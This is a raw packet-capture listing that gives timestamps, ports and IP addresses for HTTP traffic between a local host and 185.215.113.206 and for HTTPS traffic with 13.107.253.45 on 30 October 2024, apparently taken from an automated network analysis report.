Oct 30, 2024 11:45:13.934765100 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.934771061 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934791088 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.934808969 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974216938 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974240065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974256992 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974275112 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974291086 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974307060 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974318981 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974327087 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974335909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974355936 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974370956 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974461079 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974498987 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974509954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974534035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974539995 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974550962 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974577904 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974594116 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974776983 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974793911 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974811077 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974828005 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974837065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974844933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974854946 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974872112 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974878073 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974890947 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974895000 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974908113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.974919081 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974932909 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.974951029 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.975346088 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.975362062 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.975378990 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:13.975393057 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.975404978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:13.975428104 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.014863014 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.014904022 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.014919043 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.014935970 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.014966965 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.014988899 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.045990944 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.046019077 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.046111107 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.046132088 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.046179056 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.051779985 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051804066 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051822901 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051875114 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.051887035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051903963 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.051907063 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051924944 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051942110 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.051943064 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.051960945 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.051984072 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052108049 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052124977 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052156925 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052182913 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052208900 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052225113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052242994 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052253962 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052259922 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052273989 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052293062 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052315950 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052501917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052524090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052541018 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052546978 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052557945 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052567005 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052576065 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052587032 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052612066 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052911043 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052928925 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052946091 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052959919 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.052963972 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052983046 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.052989960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053020954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053214073 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053240061 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053256035 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053261995 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053289890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053296089 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053307056 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053316116 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053334951 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053339958 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053356886 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053375959 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053695917 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053746939 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.053755999 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.053797960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093055964 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093188047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093209028 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093226910 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093244076 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093259096 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093262911 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093280077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093281984 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093297958 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093316078 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093333960 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093346119 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093363047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093379974 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093394041 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093398094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093416929 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093419075 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093462944 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093794107 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093813896 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093832016 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093843937 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093848944 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093868017 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.093877077 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.093910933 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094079018 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094122887 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094132900 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094144106 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094166994 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094171047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094187021 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094187975 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094197989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094227076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094252110 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094592094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094619989 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.094640017 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.094661951 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.133821011 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.133845091 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.133874893 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.133891106 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.133943081 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.133994102 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.163877010 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.163902044 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.164053917 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.164074898 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.164127111 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.170439005 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170480013 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170495987 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170506954 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170540094 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170578957 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170603991 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170622110 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170628071 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170650959 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170665979 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170766115 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170780897 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170815945 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170835018 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170869112 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170903921 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170921087 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170926094 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170941114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170948029 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170958996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.170969963 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.170981884 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171005011 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171250105 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171266079 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171291113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171298981 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171328068 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171329021 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171338081 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171349049 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171369076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171389103 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171648026 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171664000 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171679974 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171694994 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171695948 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171711922 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.171715975 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171741009 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.171772003 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172013044 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172029972 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172045946 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172061920 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172080994 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172086000 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172099113 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172116041 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172118902 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172132015 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172147036 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172151089 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.172168970 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.172188997 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212174892 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212219954 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212236881 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212254047 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212270975 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212284088 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212348938 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212352037 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212404013 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212480068 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212496996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212513924 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212523937 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212529898 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212543964 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212549925 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212554932 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212568045 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212578058 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212585926 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212600946 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212610006 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212634087 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.212949038 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212985039 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.212991953 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213001966 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213026047 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213048935 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213418007 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213462114 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213509083 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213525057 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213541985 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213565111 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213568926 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213584900 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213586092 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213603020 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213613033 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213622093 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213640928 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213644028 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213658094 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.213675022 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.213701963 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.257194996 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.257220030 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.257237911 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.257397890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.257397890 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.281235933 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.281256914 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.281377077 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.281393051 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.281440020 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.289410114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289429903 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289455891 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289470911 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289470911 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289489985 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289496899 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289508104 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289532900 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289552927 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289704084 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289731026 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289747000 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289752007 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289764881 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289772034 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289791107 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289808989 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.289973974 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.289990902 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.290007114 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.290024042 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:14.290039062 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.290049076 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.290060043 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:14.398799896 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.398823023 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.398880959 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.398895979 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.398917913 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.398941994 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.516688108 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.516710997 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.516844034 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.516864061 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.516911983 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.634052992 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.634074926 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.634172916 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.634198904 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.634242058 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.676146030 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.676165104 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.676250935 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.676263094 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.676315069 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.752650976 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.752675056 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.752739906 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.752769947 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.752784014 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.752823114 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.875536919 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.875561953 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.875646114 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.875664949 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.875678062 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.875699997 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.993391991 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.993415117 CET	443	49711	13.107.253.45	192.168.2.6
